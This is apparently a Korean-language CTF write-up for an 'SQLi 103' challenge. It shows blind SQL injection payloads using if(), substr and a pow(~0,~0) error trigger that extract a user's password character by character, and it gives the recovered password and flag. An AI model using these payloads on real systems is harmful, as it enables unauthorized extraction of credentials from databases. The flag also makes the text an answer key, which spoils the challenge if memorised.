[SSCTF 2023] SQLi 103

문제 정보

 

 

 

 

 

접속 시 보이는 화면

 

이 문제는 admin의 비밀번호를 찾으면

FLAG를 구할 수 있을 것이다!

 

 

 

 

 

 

answer=if((select length(pw) from member where user_id='epsilon')=0, pow(~0, ~0), 0)

answer 인자에 0~10까지 숫자를 늘려나가면서 비밀번호의 길이를 찾는다.

 

 

 

 

 

비밀번호의 길이는 7임을 알아냈다!

 

 

 

 

 

answer=if((select substr(pw,1,1) from member where user_id='epsilon')=0, pow(~0, ~0), 0)

0~9까지 늘려가면서 비밀번호를 알아낸다.

첫 번째 비밀번호를 구했으면 (pw,2,1)로 두 번째 비밀번호를 알아내면된다.

마찬가지로 0~9까지 늘려나간다.

 

 

 

 

if((select substr(pw,1,1) from member where user_id='epsilon')=5, pow(~0, ~0), 0)
if((select substr(pw,2,1) from member where user_id='epsilon')=0, pow(~0, ~0), 0)
if((select substr(pw,3,1) from member where user_id='epsilon')=8, pow(~0, ~0), 0)
if((select substr(pw,4,1) from member where user_id='epsilon')=6, pow(~0, ~0), 0)
if((select substr(pw,5,1) from member where user_id='epsilon')=0, pow(~0, ~0), 0)
if((select substr(pw,6,1) from member where user_id='epsilon')=1, pow(~0, ~0), 0)
if((select substr(pw,7,1) from member where user_id='epsilon')=1, pow(~0, ~0), 0)

 

 

 

FLAG

SCTF{5086011}